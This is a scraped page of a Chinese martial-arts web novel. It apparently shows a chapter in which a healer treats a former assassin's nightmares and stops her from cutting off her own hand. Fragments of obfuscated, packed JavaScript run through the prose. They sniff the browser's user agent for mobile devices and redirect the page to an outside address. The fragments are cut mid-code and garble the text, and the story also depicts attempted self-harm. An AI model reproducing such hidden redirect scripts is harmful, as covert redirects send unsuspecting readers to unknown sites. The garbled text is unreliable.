l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305409|198708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好官”…… 账册上那些触目惊心的证据…… 男人眼中将熄未熄的炭火…… 她猛地抽回腿,在小女孩因失去依靠而踉跄、男人惊骇欲绝扑上来护住孩子的瞬间,身形如鬼魅般向后飘退,撞开窗户,融入了外面的沉沉夜色。 她没有回头。 耳边似乎还残留着男人急促的呼吸,和小女孩后知后觉爆发的哭声。 任务,失败了。 梦里的画面在这里扭曲、破碎,重新化作翻涌的血色和无数亡魂的嘶嚎。 “叛徒!” “废物!” “楼规森严,岂容你心存妇人之仁!” “喝下去!” ...... 最后是五脏六腑焚烧般的剧痛,是乱葬岗冰冷的雨,和逐渐沉入黑暗的意识…… —— 百里外的一个山神庙内。 两个男人跪在火堆前,衣服湿哒哒的,但不知道是雨水还是冷汗浸湿。 站在阴影里的女人开口:“你们俩把她扔乱葬岗,就头也不回地走了?” 左边那个赶紧说:“影姑娘,当时闻师姐……闻不言确实没气了!她伤得那么重,又喝了‘断魂酒’,神仙也难救!我们想着肯定死了,她昔日在楼内颇有威仪,我们不想戮尸……” 女子从阴影里走出来,火光映亮她半张年轻秀丽的脸,但没什么表情: “我便知道你们会这样,于是当晚我去看了,但乱葬岗并没有她的尸首。” 两个男人猛地抬头,脸白了。 “楼里最近在查这事。” 女子抱着胳膊,语气淡漠:“‘无言刃’活不见人死不见尸,加上她放走的那位大人,最近好像有点不安分,楼主不太高兴。” 右边那个腿一软,差点坐地上:“姑娘!我们真的不知道啊!当时她明明……” “现在知道了?” 女子打断他:“给你们个将功补过的机会,动用你们在这片地头上的所有关系,给我找,医馆、药铺、走江湖的郎中、乃至黑市卖伤药的,都摸一遍。” 她顿了顿,补充道:“她就算被人救了,也不可能完全藏住痕迹,找到线索,立刻报给我。” “是!是!属下一定尽力!” 女子看了他们一眼:“不是尽力,是必须,这事如果让楼主从别的渠道先知道,你们清楚后果。” 两人连滚带爬地跑了。 庙里安静下来,只剩雨声和火堆的噼啪响。 女子走到火边,伸手烤了烤。 火光跳在她脸上,那张总是没什么表情的脸,终于露出一丝极淡的笑意。 假死药她提前让师姐服下,本想等风头过去就去把人带走,可等她脱身赶去乱葬岗,只剩一场大雨,和满地泥泞。 人不见了。 她当时心里咯噔一下,说不上是恐慌更多,还是庆幸更多。 “命真大。”她低声嘀咕了一句,不知道是说给谁听。 但很快,细微的笑意就收了起来,她拉上兜帽,转身往外走。 雨还没停。 她对着黑漆漆的雨夜,用只有自己能听见的声音说: “师姐,你一定要活着.....” 14. 心病难医 “叛徒!” “废物!” “喝下去!” 混乱的斥骂与体内真实的灼痛交织在一起,让闻不言在梦境的深渊里剧烈挣扎,就像被无数双血手拖拽,越陷越深。 莫絮语被她不同于寻常喉咙深处挤出的痛苦气音惊醒。 她披衣下床,端着油灯推开房门时,看到的就是这样一幅景象: 床上的人像是刚从水里捞出来,整个人陷在一种无声却极度惨烈的挣扎里,双手无意识地攥紧了身下的薄褥,指节用力到泛出青白色,身体时不时地剧烈抽搐一下。 “阿闷!”莫絮语心头一紧,立刻放下油灯上前。 她先试图按住闻不言的肩膀,想将她从梦魇中唤醒,入手却是一片冰凉的湿滑,且对方肌肉紧绷如铁,根本按不住。 “醒醒!阿闷,快醒过来!”她提高声音呼唤,轻轻拍打对方的脸颊。 可闻不言毫无反应,反而因为外界的触碰,挣扎得更厉害,喉咙里的嗬嗬声更加急促痛苦,仿佛下一秒就要窒息。 莫絮语脸色凝重起来。 这不像普通的噩梦惊悸,更像是……心魔彻底反噬,神魂被拖入了极致的痛苦回忆之中,若强行唤醒,恐有惊厥失魂之虞。 她迅速冷静下来,转身从自己房中取来针囊。 点燃更多的油灯,将室内照得亮堂些,在床边坐下,手指搭上闻不言剧烈搏动的腕脉。 脉象乱得一塌糊涂。 疾数有如奔马,却又在某个节点骤然沉涩,如刀刮竹,是极度惊惧痛楚、心脉受扰、气血逆乱之象。 莫絮语抿紧唇,感受着指下混乱的搏动,脑中飞快推演对策。 先定惊,再安神,疏导逆乱之气,护住心脉。 她抽出一根细长的金针,在灯火上掠过,手法稳准,第一针便刺入闻不言头顶的“百会穴”,轻轻捻转。 闻不言浑身猛地一颤,挣扎的幅度小了些,但喉咙里的痛苦气音并未消止。 莫絮语手下不停,第二针“神庭”,第三针“本神”……头部几处安神定志的要穴依次落下。 接着是手臂内侧的“内关”、“神门”,用以宁心安神,调节心气。 随着金针的效用逐渐发挥,闻不言身体的剧烈抽搐慢慢平息,冷汗却出得更多了,薄褥都浸湿了一片。 从喉咙深处挤出的嗬嗬声,也变成了断续的抽气,却更显得痛苦难当。 莫絮语取来干净的布巾,浸湿了温水,轻轻擦拭闻不言额上、颈间不断沁出的冷汗。 擦完一遍,没过多久,新的冷汗又冒出来。 莫絮语就一遍遍地擦,无比耐心。 一边擦,一边低声说着话,也不管对方听不听得见: “没事了,阿闷,都过去了……” “针扎着呢,很快就不难受了……” 她的声音不高,却似一曲安抚的韵律,在这寂静的深夜里,像一道温柔的水流,试图包裹住那剧烈痛苦的礁石。 擦拭间隙,她再次搭脉,脉象虽仍疾数,但那股狂乱逆冲的势头已被金针勉强约束住,只是沉涩之感依旧。 莫絮语看着对方即使在昏迷中也紧紧蹙在一起的眉头,那苍白脸上无法掩饰的痛苦痕迹,心里头一次对自己的医术产生了清晰的挫败感。 外伤,她能治;奇毒,她能解;甚至一些疑难怪症,她也能凭着神医谷的传承和自身的灵慧摸索出门道。 可眼前这“病”,根子不在肌骨,不在经脉,而在那一片她触及不到的心海深处,在那被血与罪层层覆盖的过往里。 金针药石,能缓解身体因心魔引发的诸般症状,能暂时安定那惊涛骇浪般的神魂,却挖不出那深埋的“病根”。 “心病还须心药医……”她喃喃重复着师父说过的话,可“心药”是什么?在哪里? 阿闷不肯说,她也无从猜起。 那些让她在梦里都如此痛苦的,究竟是怎样的景象? 时间在一次次擦拭冷汗、调整金针中缓慢流逝。 窗外,夜色最浓的时刻过去,天际隐隐透出一丝灰白。 闻不言的脉象终于渐渐平稳下来,虽然依旧比常人快些,但已不再紊乱狂躁。 莫絮语轻轻起出金针,用布巾最后擦拭了一遍她的脸和脖颈,给她换了身干爽的寝衣,又盖好被子。 做完这一切,她几乎累得虚脱,心力交瘁。 她坐在床边的椅子上,看着闻不言沉睡中依旧不安稳的侧脸,第一次如此清晰地意识到: 捡回来的这个“麻烦”,可能比她想象中还要棘手千百倍。 这不是一次义诊、几剂汤药就能解决的“伤患”。 这是一个被过往彻底撕碎过、正在艰难拼凑自己灵魂的人,而她这个大夫,手里的工具,似乎远远不够。 晨光熹微,透过窗纸,淡淡地照进屋里。 莫絮语揉了揉酸涩的眼睛,站起身,活动了一下僵硬的肩膀。 她走到窗边,推开一条缝,让清冷的晨风涌进来。 她回头看了一眼床上的人。 这一次,她又把她从那个可怕的深渊边缘拉回来了一点。 至于下次…… 莫絮语轻轻关上门,走向厨房。 先熬点安神定志的汤药吧,等她醒了喝,然后……或许得翻翻谷里那些记载疑难杂症、涉及一些精神魂魄调理的古旧典籍了。 这条路,看来比她预计的,要长得多,也难走得多。 但看着灶膛里重新燃起的火苗,莫絮语抿了抿唇,眼神渐渐重新变得坚定。 难治,不代表不治。 既然捡回来了,既然她点头想治,那自己这个大夫,总得试试。 竭尽全力地试试。 —— 闻不言醒来时,已是正午。 她睁着眼,盯着头顶那几根歪斜的房梁,眼神空洞得像是被人掏走了魂。 昨夜梦里的血,似乎还黏在眼皮上。 身体是沉重的,浑身无力,连动一动手指都觉得费力。 她这具身体还活着,还在这世上喘着气。 活着。 她这样的人,凭什么还活着? 那些死在她手里的人,那些因为她一念之“仁”可能招致更多祸患的人,那些……本不该死的人。 “叛徒。” “废物。” 这两个词在脑海里反复回响,成为她心底的声音,冰冷,清晰,一遍遍凌迟着她所剩无几的清醒。 她缓缓坐起身,像一具生锈的傀儡,赤脚踩在地上。 地板是夯实的泥土,沁着凉意,从脚心直窜上来。 她没穿鞋,也没披外衣,就这样穿着单薄的寝衣,一步一步,挪出房门。 正午的阳光有些刺眼,她眯了眯眼,适应了片刻。 院子里很安静。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305410|198708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 药圃里的草药在日光下舒展着叶片,金银花开得正好,黄白相间。 莫絮语正在院角的灶棚里熬药,背对着她,手里拿着蒲扇,轻轻扇着炉火。 灶上药罐咕嘟咕嘟响着,苦涩的药香混在空气里飘来。 她似乎察觉到身后的动静,回过头来。 “阿闷?你醒啦?”莫絮语脸上绽开笑容,放下蒲扇就要走过来:“正好,药快好了,你——” 她的话停在一半,笑容也僵在脸上,慢慢褪去。 她看见了闻不言的眼睛。 那双总是很黑、很深、带着警惕或冷淡的眼睛,此刻空荡荡的,像两口枯井,什么情绪都没有。 她缓慢的挪着脚步,目标明确地朝着后院走去。 “阿闷?”她当即意识到不对,试探着又叫了一声,脚步加快,想拦到她前面去。 闻不言像是没听见,也没看见她。 她的目光越过莫絮语,直直落在后院门框上挂着的一把有些锈迹的柴刀上。 阳光照在刀身上,反射出一点黯淡的光。 莫絮语已经冲到了她面前,张开手臂拦住她:“阿闷!你要干什么?” 闻不言终于看了她一眼。 万年俱灰的眼神让莫絮语浑身发冷。 好像站在她面前的不是一个人,而是一具早就该烂掉的尸体,只凭着最后一点惯性在移动。 闻不言伸出手,轻轻拨开了她拦着的手臂。 莫絮语被她拨得踉跄了一下,再想拦,闻不言已经走到了柴刀前。 她伸出手,握住了刀柄,而后转过身,走向那个用来劈柴的木墩。 木墩很旧了,表面被劈得坑坑洼洼,布满纵横交错的刀痕,最中间的位置已经凹陷下去,颜色深暗,浸着年深日久的木屑和洗不掉的类似锈迹痕迹。 闻不言在木墩前站定。 她低头,看着自己的左手,缓缓将手掌平摊开,按在了木墩粗糙的表面上。 手掌下的木头纹理清晰,有些木刺扎着皮肤,微微的刺痛。 她抬起右手,握紧了柴刀。 刀身有些沉,锈迹让刀刃看起来并不锋利。 莫絮语冲到了她身边,声音后知后觉开始发颤:“阿闷!把刀放下!你听见没有?把刀放下!” 她想去夺刀,可闻不言握得那么紧,紧得像焊死在了手上。 “阿闷……” 莫絮语的声音里带上了哭腔,她不敢硬抢,怕刺激到她,只能徒劳地抓住她握刀的手臂: “你看看我,我是莫絮语,你看着我!有什么事你说出来,我们慢慢想办法,好不好?你别这样……” 闻不言终于又看了她一眼。 空洞的眼神似乎因为那点泪光,有了一丝极细微的波动。 但也只是一丝。 她转回头,目光落在自己按在木墩上的左手。 五指修长,骨节分明,掌心有长期握刀磨出的薄茧,虎口处还有一道陈年的旧疤。 这双手,沾过太多血。 她缓缓吸了一口气,举起了柴刀。 “不要——!” 莫絮语尖叫一声,用尽全身力气扑上去,整个人撞进闻不言怀里,双手死死抱住她举刀的右臂,用身体的重量往下压。 闻不言被她撞得晃了一下,刀锋偏了,离她的自己的手指只有寸许距离,“哐”一声重重砍在木墩边缘,木屑飞溅。